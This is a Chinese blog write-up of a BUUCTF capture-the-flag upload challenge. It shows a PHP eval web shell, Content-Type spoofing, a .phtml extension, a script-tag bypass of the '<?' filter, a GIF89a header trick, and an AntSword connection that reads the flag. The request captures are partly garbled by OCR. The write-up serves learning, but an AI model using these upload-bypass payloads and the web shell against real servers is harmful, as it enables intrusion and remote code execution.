buuctf web 极客大挑战2019 Upload



 Ethan552525

 于 2021-09-12 17:10:24 发布

 137

 收藏 1

 分类专栏:
 BUUCTF 文章标签:
 php html web

 bk权声明:

 本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
 本文链接:

 https://blog.csdn.net/Ethan552525/article/details/120050487

 bk权

<u>BUUCTF 专栏收录该内容</u> 13 篇文章 0 订阅

订阅专栏

题目:



解题:

1: 上传"一句话木马"文件

编辑文件a.php:

<?php @eval(\$_POST['shell']);?>

上传后得到:



Not image! 提示需要上传文件为 image。

2: 修改Content-Type

上传a.php文件时,用burp suite抓包得到:

~					
1	POST /upload_file.php HTTP/1.1		01		
2	Host: dayb25//-25a8-42d6-827f-2c7f2c1ea6bc.node4.buuoj	. CI	n:81		
3	Content-Length: 316				
4	Cache-Control: max-age=0				
5	Upgrade-Insecure-Requests: 1				
6	Origin: http://da9b2577-25a8-42d6-827f-2c7f2c1ea6bc.no	de4	4.buuoj.cn:81		
7	Content-Type: multipart/form-data; boundary=WebKitF	-or	rmBoundaryZR3uDlIkvbRWJFqF		
8	User-Agent: Mozilla/5.0(X11; Linux x86_64) AppleWebKit/537.36(KHTML, like Gecko)				
	Chrome/90.0.4430.212 Safari/537.36				
9	Accept:				
	<pre>text/html,application/xhtml+xml,application/xml;q=0.9,</pre>	,im	<pre>nage/avif,image/webp,image/apng,*/*;q=0</pre>		
	.8,application/signed-exchange;v=b3;q=0.9				
L0	Referer: http://da9b2577-25a8-42d6-827f-2c7f2c1ea6bc.n	ode	e4.buuoj.cn:81/		
11	Accept-Encoding: gzip, deflate				
12	Accept-Language: zh-CN,zh;q=0.9				
13	Connection: close			0	
14					
15	WebKitFormBoundaryZR3uDlIkvbRWJFqF				
L6	<pre>Content-Disposition: form-data; name="file"; filename="</pre>	a.,	php "		
L7	Content-Type: application/x-php				
18					
L9	php @eval(\$_POST['shell']);?				
20	WebKitFormBoundaryZR3uDllkvbRWJFqF				
21	Content-Disposition: form-data; name="submit"				
22	•				
23	提交				
24	WebKitFormBoundaryZR3uDlIkvbRWJFqF				
25			CSDN @Ethan552525		
			COPIA @FUIUIDOSOS		
	格····································				
	修改Content-Type为 Image/gif				
PO	ST/unload file nhn HTTP/1 1	43	<pre>new Vidage('#VidageVideo');</pre>		
Но	st: da9b2577-25a8-42d6-827f-2c7f2c1ea6bc.node4.buuoj.cn:81	44			
Co Ca	ntent-Length: 308 che-Control: max-age=0	40			
Up Or	grade-Insecure-Requests: 1 inin: http://da9b2577-25a8-42d6-827f-2c7f2clea6bc_pode4_buuni_cn:81				
Content - Type: multipart/form-data; boundary=WebKitFormBoundaryZR3UDIkvbRWJFqF					
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36					
Ac	cept: xt/htm] application/xhtm]+xm] application/xm]:q=0 9 image/avif image/webp image/appg */*:q=0				
.8, application/signed-exchange; v=b3; q=0.9					
.8, application/signed-exchange;v=b3;q=0.9 Referer: http://da9b2577-25a8-42d6-827f-2c7f2clea6bc.node4.buuoj.cn:81/ Accept-Encoding: gzip, deflate					
Ac	cept-Language: zh-CN,zh;q=0.9 nnection: close	:			
		16			
6 6 Co	WebKitFormBoundaryZR3uDlIkvbRWJFqF ntent-Disposition: form-data; name="file"; filename="a.php"	47			
Co	ntent-Type: image/gif	48	NOT!php! 		
</td <td><pre>php @eval(\$_POST['shell']);?></pre></td> <td>49</td> <td></td> <td></td>	<pre>php @eval(\$_POST['shell']);?></pre>	49			
. Co	WebKitFormBoundaryZR3uDlIkvbRWJFqF ntent-Disposition: form-data; name="submit"	51			
。 」担 =	<u>ج</u>	52	<pre><div style="position: absolute;bottom: 0;width: 95%;"> <pre></pre></div></pre>		
- 10E 3	WebKitFormBoundaryZR3uDllkvbRWJFqF		Syclover@cl4y		
		53 54	CSDN @Ethan552525	ó	

提示: NOT ! php !, 说明不能后缀为php。

phtml文件

在嵌入了php脚本的html中,使用 phtml作为后缀名;完全是php写的,则使用php作为后缀名。这两种文件,web服 务器都会用php解释器进行解析。

修改a.php为a.phtml后:

1 POST /upload file.php HTTP/1.1	43	<pre>new Vidage('#VidageVideo');</pre>
2 Host: da9b2577-25a8-42d6-827f-2c7f2clea6bc.node4.buuoj.cn:81	44	
3 Content-Length: 310	45	
4 Cache-Control: max-age=0		
5 Ungrade-Insecure-Requests: 1		
6 Origin: http://da9h2577-25a8-42d6-827f-2c7f2clea6hc_node4_huuoi_cn:81		
7 Content-Type: multipart/form_data: boundary=WebKitEormBoundaryZR3uDlTkybRW1EgE		
B User-Agent: Mozilla/5 θ (X11:Linux x86 64) AnnleWebKit/537 36 (KHTML like Gerko)		
Chrome/90 0 4430 212 Safari/527 36		
Accent:		
text/html application/whtml+vml application/vml+g=0 g image/avif image/webp image/appg */*/g=0		
$\beta_{\rm ann}$ is a structure of a structure of the structure of $\beta_{\rm ann}$ and $\beta_{\rm ann}$ is a structure of the structure of		
. o, apprilation/ signed-extinance, v=05, q=0.5		
la Accent Encoding aziz dellate		
12 Acception and a second se	:	
	46	<pre><div class="error"></div></pre>
towebbill of the state of	47	<st rong=""></st>
to content-Disposition: form-data; name= file; filename= a.phimi	48	NO! HACKER! your file included '<:>:'
t/ content-lype: image/git	10	
	49	
19 < pnp (deval(\$_POS)['snel(']); ;;	50	
20WDK1TFORMBOUNDATYZK3UDL1KVDKWJFdF	51	
21 Content-Disposition: form-data; name="submit"	52	<pre>cdiv style="position: phealute:hettem: 0.vidth: 05%;"></pre>
	52	<pre><urv 0,="" 55%,="" absolute,="" bottom:="" style="position:" width:=""> </urv></pre>
23 提交		Suclayor Coldy
24WebKitFormBoundaryZR3uDllkvbRWJFqF		Syclover @cl4y
25		
	5.2	
	23	
	54	CSDN @Ethan552525

提示: NO! HACKER! your file included '<?'

html实体字符

HTML 中规定了 Character entity references,也就是通常我们说得 html实体字符,一些字符在 HTML 中拥有特殊 的含义,比如小于号 (<) 用于定义 HTML 标签的开始。如果我们希望浏览器正确地显示这些字符,我们必须在 HTML 源 码中插入字符实体。

字符实体有三部分:一个和号 (&),一个实体名称,或者 # 和一个实体编号,以及一个分号 (;)。要在 HTML 文档中显示小于号,我们需要这样写: *<*;或者 *&*#60。

< 代表: <, ? 代表: ?

也就是说上传文件里不能包含: " <? "

4: 绕过" <? "限制

用 script标签 绕过"<?"限制: <script language='php'>@eval(\$_POST['cmd']);</script>

Request	Res	sponse
Pretty Raw In Actions ✓	Pre	etty Raw Render \n Actions 🗸
1 POST/upload file.phpHTTP/1.1	43	<pre>new Vidage('#VidageVideo');</pre>
2 Host: 4a46933f-3f6c-4946-8725-44c2ac48e1e5.node4.buuoi.cn:81	44	
3 Content-Length: 333	45	
4 Cache-Control: max-age=0		
5 Upgrade-Insecure-Requests: 1		
6 Origin: http://4a46933f-3f6c-4946-8725-44c2ac48ele5.node4.buuoi.cn:81		
7 Content-Type: multipart/form-data: boundary=WebKitFormBoundary3dUZn4T1X0WWpkNG		
8 User-Agent: Mozilla/5.0 (X11: Linux x86 64) AppleWebKit/537.36 (KHTML, like Gecko)		
Chrome/90.0.4430.212 Safari/537.36		
9 Accept:		
text/html.application/xhtml+xml.application/xml;g=0.9.image/avif.image/webp.image/appg.*/*;g=0		
.8.application/signed-exchange:v=b3:g=0.9		
10 Referer: http://4a46933f-3f6c-4946-8725-44c2ac48e1e5.node4.buuoj.cn:81/		
11 Accept-Encoding: gzip. deflate		
12 Accept-Language: zh-CN.zh:g=0.9		
13 Connection: close	:	
14		
15WebKitFormBoundarv3dUZn4T1X0WWpkNG	46	<div class="error"></div>
16 Content-Disposition: form-data: name="file": filename="a.phtml"	47	
17 Content-Type: image/gif	48	Don't lie to me, it's not image at all!!!
18		
19 <script language="php">@eval(\$ POST['cmd']);</script>	49	
20	50	
21WebKitFormBoundary3dUZn4T1X0WWpkNG	51	
22 Content-Disposition: form-data; name="submit"	52	<pre><div style="position: absolute;bottom: 0;width: 95%;"></div></pre>
23		
24 提交		Syclover@cl4y
25WebKitFormBoundary3dUZn4T1X0WWpkNG		
26		
	53	
	54	CSDN @Ethan552525

提示: Don't lie to me, it's not image at all!!!

即:上传的根本不是图片。

5: GIF89a 图片头文件欺骗

在文件前面加文件头: GIF89a, php会检测其为gif图片。使用getimagesize函数无法判断其图片是无效

的。

IPOST /upload_file.php HTTP/1.143Inew Vidage('#VidageVideo');IPOST /upload_file.php HTTP/1.1IHost: dabp2377-25a8-42d6-827f-2c7f2clea6bc.node4.buuoj.cn:8144IICache-Control: max-age=0IUpgrade-Inscure: Requests: 1IOrigin: http://da9b2577-25a8-42d6-827f-2c7f2clea6bc.node4.buuoj.cn:81IContent -Type: multipart/form-data; boundaryWebkitformBoundaryZR3UD1IkbvBWJFqFIUser-Agent: Mozilla/S.0 (X11: Linux x86_64) AppleWebkit/537.36 (KHTML, like Gecko)INcreer/90.0.4430.212 Safari/537.36IAccept:IAccept: text/html, application/xtml;q=0.9, image/avif, image/webp, image/apug,*/*;q=0IAccept-Encoding: gip, deflateIAccept-Language: zh-CN, zh;q=0.9IContent -Disposition: form-data; name="file"; filename="a.phtml"IContent -Disposition: form-data; name="file"; filename="a.phtml"IContent -Disposition: form-data; name="submit"IContent -Disposition: form-data; name="submit"ICo			
2 Host: dabb257-25a8-42d6-827f-2c7f2clea6bc.node4.buu0j.cn:8144453 Content-Length: 340454 Cache-Control: max-age=05 Upgrade-Insecure-Requests: 16 Origin: http://dabb2577-25a8-42d6-827f-2c7f2clea6bc.node4.buu0j.cn:817 Content-Type: multipart/form-data; boundary=WebKitFormBoundaryZR3UD1KvbRWJFqF8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.369 Accept:text/html.application/xhtml+xml.application/xml;q=0.9, image/avif, image/webp, image/apng,*/*;q=08 Referer: http://dabb2577-25a8-42d6-827f-2c7f2clea6bc.node4.buu0j.cn:81/4 Accept-Londong: gip, deflate2 Accept-Londong: gip, deflate2 Accept-Londong: gip, deflate3 Content-Disposition: form-data; name="file"; filename="a.phtml"4 Scipt Language: php >@eval(§_POST['com']):9 Grefsal9 Grefsal7 Content-Disposition: form-data; name="submit"9 Content-Dispositio	1 POST/upload file.phpHTTP/1.1	43	<pre>new Vidage('#VidageVideo');</pre>
96444545455	2 Host: da9b2577-25a8-42d6-827f-2c7f2c1ea6bc.node4.buuoj.cn:81	44	
4Cache-Control: max-age=05Upgrade-Insecure-Requests: 16Origin: http://dsb52577-2588-42d6-827f-2c7f2clea6bc.node4.buuoj.cn:817Content-Type: multipart/form-data; boundary=WebKitFormBoundaryZR3uDlIkvbRWJFqF8User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)0Chromodata; Samed-achange: v=b3;q=0.90Accept: ttp://dsb2577-2588-42d6-827f-2c7f2clea6bc.node4.buuoj.cn:81/1Accept: http://dsb2577-2588-42d6-827f-2c7f2clea6bc.node4.buuoj.cn:81/2Accept: http://dsb2577-2588-42d6-827f-2c7f2clea6bc.node4.buuoj.cn:81/3Connection; gig, deflate4Accept: Language: zh-CN, zh; q=0.94Accept: Language: zh-CN, zh; q=0.95WebKitFormBoundaryZR3uDIkvbRWJFqF6Content-Disposition: form-data; name="file"; filename="a.phtml"4f6 <div class="error">7Content-Disposition: form-data; name="file"; filename="a.phtml"4g6<div class="error">7Content-Disposition: form-data; name="file"; filename="a.phtml"4g7<div class="error">7Content-Disposition: form-data; name="file"; filename="a.phtml"4g7<div class="error">7Content-Disposition: form-data; name="file"; filename="a.phtml"4g7<div class="error">7Content-Disposition: form-data; name="file"; filename="a.phtml"4g7<div class="error"><</div></div></div></div></div></div>	3 Content-Length: 340	45	
5 Upgrade-Insecure-Requests: 1 </td <td>4 Cache-Control: max-age=θ</td> <td></td> <td></td>	4 Cache-Control: max-age=θ		
<pre>6 0rigin: http://da9b2577-25a8-42d6-827f-2c7f2clea6bc.node4.buu0j.cn:81 7 Content-Type: multipart/form-data; houndary=WebKitFormBoundaryZR3UD1kvbRWJFqF 4 Suser-Agent: Mozilla/5.0 (X11, Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) 6 Chrome/90.0.4430.212 Safari/537.36 (KHTML, like Gecko) 6 Accept: 1 text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/webp, image/apng,*/*;q=0 8.application/signed-exchange;v=b3;q=0.9 7 Center: http://da9b2577-25a8-42d6-827f-2c7f2clea6bc.node4.buu0j.cn:81/ 7 Center: http://da9b2577-25a8-42d6-827f-2c7f2clea6bc.node</pre>	5 Upgrade-Insecure-Requests: 1		
7 Content-Type: multipart/form-data; boundary=WebKitFormBoundaryZR3uDlIkvbRWJFqF <td>6 Origin: http://da9b2577-25a8-42d6-827f-2c7f2clea6bc.node4.buuoj.cn:81</td> <td></td> <td></td>	6 Origin: http://da9b2577-25a8-42d6-827f-2c7f2clea6bc.node4.buuoj.cn:81		
8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/webp, image/apng,*/*;q=0 .8, application/signed-exchange;y=b3;q=0.9 0 Referer: http://da9b2577.25a8.42d6.827f-2c7f2clea6bc.node4.buuoj.cn:81/ 1 Accept-Encoding: gzip, deflate 2 Accept-Language: zh-CN, zh;q=0.9 3 Connection: close 4 5 WebKitFormBoundaryZR3uD1KvbRWJFqF 6 Content-Type: image/gif 48 9 GIF89a 9 GIF89a 0 script language='php'>@eval(\$_POST['cmd']); 1 WebKitFormBoundaryZR3uD1KvbRWJFqF 50 2 Content-Disposition: form-data; name="submit" 49 4 -/div> 5	7 Content-Type: multipart/form-data; boundary=WebKitFormBoundaryZR3uDlIkvbRWJFgF		
Chrome/90.0.4430.212 Safari/537.36Okrept: text/html,application/xhtml+xml,application/xml;q=0.9, image/avif,image/webp,image/apng,*/*;q=0 .8.application/signed-exchange;v=b3;q=0.90Referer: http://da9b2577-25a8-42d6-827f-2c7f2clea6bc.node4.buuoj.cn:81/1Accept-Language; zip. (deflate2Accept-Language: zh-CN, zh;q=0.93Connection: close45WebKitFormBoundaryZR3uDlIkvbRWJFqF466Content-Disposition: form-data; name="file"; filename="a.phtml"477Content-Type: image/gif486Lf&PA: a.phtml7Content-Disposition: form-data; name="file"; filename="a.phtml"479Script language: 'php'>@eval(\$_POST['cmd']):9Content-Disposition: form-data; name="submit"501WebKitFormBoundaryZR3uDlIkvbRWJFqF502content-Disposition: form-data; name="submit"524WebKitFormBoundaryZR3uDlIkvbRWJFqF505WebKitFormBoundaryZR3uDlIkvbRWJFqF506WebKitFormBoundaryZR3uDlIkvbRWJFqF507Content-Disposition: form-data; name="submit"524	8 User-Agent: Mozilla/5.0 (X11; Linux x86 64) AppleWebKit/537.36 (KHTML, like Gecko)		
9 Accept: text/html,application/xhl;q=0.9,image/avif,image/webp,image/apng,*/*;q=0 .8,application/signed-exchange;v=b3;q=0.9 0 Refere: http://da9b2577-25a8-42d6-827f-2c7f2clea6bc.node4.buuoj.cn:81/ 1 Accept-Encoding: gzip, deflate 2 Accept-Language: zh-CN_zh;q=0.9 3 Connection: close 4 5WebKitFormBoundaryZR3uDlIkvbRWJFqF 46 6 Content-Jisposition: form-data; name="file"; filename="a.phtml" 47 7 9 GIF89al 0 <script language="php">@eval(\$_POST['cmd']);</script> 1 <webkitformboundaryzr3udlikvbrwjfqf< td=""> 50 2 <content-jisposition: <="" form-data;="" name="submit" td=""> 50 3 Content-Type: image/gif 4 -/br> 5 WebKitFormBoundaryZR3uDlIkvbRWJFqF 6 Content-Jisposition: form-data; name="submit" 7 Content-Jisposition: form-data; name="submit" 9 Content-Jisposition: form-data; name="submit" 9 Content-Jisposition: form-data; name="submit" 9 Content-Jisposition: form-data; name="submit" <!--</td--><td>Chrome/90.0.4430.212 Safari/537.36</td><td></td><td></td></content-jisposition:></webkitformboundaryzr3udlikvbrwjfqf<>	Chrome/90.0.4430.212 Safari/537.36		
<pre>text/html,application/xhml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0 .8,application/signed-exchange;y=b3;q=0.9 Referer: http://dab2577-25842d6-827f-2c7f2clea6bc.node4.buuoj.cn:81/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Connection: close Content-Type: image/gif Content-</pre>	9 Accept:		
.8, application/signed-exchange; v=b3; q=0.9 .8, application/signed-exchange; v=b3; q=0.9 0 Referer: http://da9b2577-25a8-42d6-827f-2c7f2clea6bc.node4.buuoj.cn:81/ .4 1 Accept-Encoding: gzip, deflate .4 2 Accept-Language: zh-CN, zh; q=0.9 WebKitFormBoundaryZR3uDlIkvbRWJFqF WebKitFormBoundaryZR3uDlIkvbRWJFqF WebKitFormBoundaryZR3uDlIkvbRWJFqF WebKitFormBoundaryZR3uDlIkvbRWJFqF	<pre>text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/webp,image/apng,*/*;g=0</pre>		
0 Referer: http://d9b2577-25a8-42d6-827f-2c7f2clea6bc.node4.buuoj.cn:81/ 1 Accept-Language: zh-CN, zh; q=0.9 2 Accept-Language: zh-CN, zh; q=0.9 3 Connection: close 4 5 WebKitFormBoundaryZR3uDlIkvbRJJFqF 46 6 Content-Disposition: form-data; name="file"; filename="a.phtml" 47 7 Content-Type: image/gif 48 上传文件名: a.phtml 9 GIF89a 49 9 content-Disposition: form-data; name="submit" 50 1 WebKitFormBoundaryZR3uDlIkvbRWJFqF 50 9 GIF89a 49 9 content-Disposition: form-data; name="submit" 50 1 WebKitFormBoundaryZR3uDlIkvbRWJFqF 50 2 Content-Disposition: form-data; name="submit" 52 2 Content-Disposition: form-data; name="submit" 52	.8, application/signed-exchange; v=b3; g=0.9		
1 Accept-Encoding: gzip, deflate 2 Accept-Language: zh-CN, zh; q=0.9 2 Accept-Language: zh-CN, zh; q=0.9 3 Connection: close 3 Connection: close 4 5WebKitFormBoundaryZR3uD1IkvbRWJFqF 46 6 Content-Disposition: form-data; name="file"; filename="a.phtml" 47 7 Content-Type: image/gif 48 Lf6文件名: a.phtml 9 GIF89a 0 <script language="php">@eval(\$_POST['cmd']):</script> 50 1WebKitFormBoundaryZR3uD1kvbRWJFqF 50 2 Content-Disposition: form-data; name="submit" 50 3 content-Disposition: form-data; name="submit" 50	0 Referer: http://da9b2577-25a8-42d6-827f-2c7f2clea6bc.node4.buuoj.cn:81/		
2 Accept-Language: zh-CN, zh; q=0.9 3 Connection: close 4 5 WebKitFormBoundaryZR3uD1IkvbRWJFqF 46 6 Content-Disposition: form-data; name="file"; filename="a.phtml" 47 7 Content-Type: image/gif 47 8 dtpctft: a.phtml 9 GIF89a 49 9 script language='php'>@eval(\$_POST['cmd']); 50 11 WebKitFormBoundaryZR3uD1KvbRWJFqF 50 2 Content-Disposition: form-data; name="submit" 50 12 Content-Disposition: form-data; name="submit" 50	1 Accept-Encoding: gzip, deflate		
3 Connection: close 4 5WebKitFormBoundaryZR3uDlIkvbRWJFqF 6 Content-Disposition: form-data; name="file"; filename="a.phtml" 47 7 Content-Type: image/gif 48 9 Eff89a 9 GIF89a 9 Script language='php'>@eval(\$_POST['cmd']); 1 WebKitFormBoundaryZR3uDlIkvbRWJFqF 2 Content-Disposition: form-data; name="submit" 3 Content-Disposition: form-data; name="submit"	.2 Accept-Language: zh-CN, zh; g=0.9		
4 5WebKitFormBoundaryZR3uDlKvbRWJFqF 46 6 Content-Disposition: form-data; name="file"; filename="a.phtml" 46 6 Content-Disposition: form-data; name="file"; filename="a.phtml" 47 7 Content-Type: image/gif 48 9 GIF89a 49 9 GIF89a 49 1WebKitFormBoundaryZR3uDlKvbRWJFqF 50 1WebKitFormBoundaryZR3uDlKvbRWJFqF 51 2 Content-Disposition: form-data; name="submit" 52 3WebKitFormBoundaryZR3uDlKvbRWJFqF 52 3WebKitFormBoundaryZR3uDlKvbRWJFqF 52 3WebKitFormBoundaryZR3uDlKvbRWJFqF 55 3WebKitFormBoundaryZR3uDlKvbRWJFqF 55 3WebKitFormBoundaryZR3uDlKvbRWJFqF 55 40	.3 Connection: close		
5 WebKitFormBoundaryZR3uDlIkvbRWJFqF 46 <div class="error"> 6 Content-Disposition: form-data; name="file"; filename="a.phtml" 47 7 Content-Type: image/gif 47 LftptAR: a.phtml 8 LftptAR: a.phtml 1 9 GIF89a 49 10 <script language="php">@eval(\$_POST['cmd']);</script> 50 11 WebKitFormBoundaryZR3uD1KvbRWJFqF 50 12 Content-Disposition: form-data; name="submit" 51 12 Content-Disposition: form-data; name="submit" 51</div>	.4		
6 Content-Disposition: form-data; name="file"; filename="a.phtml" 47 7 Content-Type: image/gif 48 Lftp(Aft: a.phtml 8 -/ Strong> 9 GIF89a 49 10 <script language="php">@eval(\$_POST['cmd']);</script> 50 11 WebKitFormBoundaryZR3uD1KvbRWJFqF 50 12 Content-Disposition: form-data; name="submit" 52 3	.5WebKitFormBoundaryZR3uDllkvbRWJFqF	46	<div class="error"></div>
7 Content-Type: image/gif 48 上传文件名: a.phtml 8 -/fxrong> 9 GIF89a 49 0 script language='php'>@eval(\$_P05T['cmd']); 50 1WebKitFormBoundaryZR3uDlIkvbRWJFqF 50 2 Content-Disposition: form-data; name="submit" 52 3	.6 Content-Disposition: form-data; name="file"; filename="a.phtml"	47	
.8 .9 GIF89a 49 .9 <script language="php">@eval(\$_P0ST['cmd']);</script> 50 10 <script language="php">@eval(\$_P0ST['cmd']);</script> 50 12 content-Disposition: form-data; name="submit" 51 13	7 Content-Type: image/gif	48	上传文件名: a.phtml
9 GIF89a 49 10 <script language="php">@eval(\$_P0ST['cmd']);</script> 50 11WebKitFormBoundaryZR3uD1KvDRWJFqF 51 12 Content-Disposition: form-data; name="submit" 52 13	.8		
10 <script language="php">@eval(\$_POST['cmd']);</script> 50 11 WebKitFormBoundaryZR3uD1kvbRWJFqF 51 12 Content-Disposition: form-data; name="submit" 52 13	.9 GIF89a	49	
11 WebKitFormBoundaryZR3uDlIkvbRWJFqF 51 12 Content-Disposition: form-data; name="submit" 52 13	<pre>!0 <script language="php">@eval(\$ POST['cmd']);</script></pre>	50	
12 Content-Disposition: form-data; name="submit" 52 <div style="position: absolute; bottom: 0; width: 95%; "> 13</div>	1WebKitFormBoundaryZR3uDlIkvbRWJFqF	51	
<pre></pre>	2 Content-Disposition: form-data; name="submit"	52	<div style="position: absolute;bottom: 0;width: 95%;"></div>
	!3		
14 提交 Syclover@cl4y	14 提交		Syclover@cl4y
15WebKitFormBoundaryZR3uDllkvbRWJFqF	5WebKitFormBoundaryZR3uDllkvbRWJFqF		
.6	!6		
53		53	
54 CSDN @Ethan552525		54	CSDN @Ethan552525

成功上传"一句话"木马。

6: 蚁剑连接

上传文件一般都在upload目录下。

URL地址: http://4a46933f-3f6c-4946-8725-44c2ac48e1e5.node4.buuoj.cn:81/upload/a.phtml

连接密码: cmd

在根目录下找到flag文件,打开即得flag。

	0 新	建 ▼ ◆ 上层 2 刷新 ◆ 主目录 ■ 书签 ▼ /			→ 读取
⊕- l ∎ var		名称	日期	大小	属性
bin	6	etc	2021-08-02 14:06:09	66 b	0755
data		home	2014-04-10 22:12:14	6 b	0755
dev	C	lib	2016-07-11 23:23:25	208 b	0755
etc	C	lib64	2016-07-11 23:23:12	34 b	0755
home		media	2016-07-11 23:22:49	6 b	0755
lib	C	mnt	2014-04-10 22:12:14	6 b	0755
lib64	C	opt	2016-07-11 23:22:49	6 b	0755
		proc	2021-08-02 14:06:10	0 b	0555
- pt		root	2016-07-11 23:23:35	37 b	0700
proc		run	2019-11-19 09:30:15	33 b	0755
- Toot		sbin	2016-07-22 15:18:57	44 b	0755
- 🖿 run		srv	2016-07-11 23:22:49	6 b	0755
- sbin		sys	2021-06-14 01:12:31	0 b	0555
srv		tmp	2021-08-02 14:06:12	6 b	1777
sys		usr	2016-07-22 15:18:57	81 b	0755
		var	2019-11-19 09:28:18	28 b	0755
	Ľ	.dockerenv	2021-08-02 14:06:09	0 b	0755
	Ľ	flag	2021-08-02 14:06:12	43 b	0644 CSDN @Ethan55252



创作打卡挑战赛 赢取流量/现金/CSDN周边激励大奖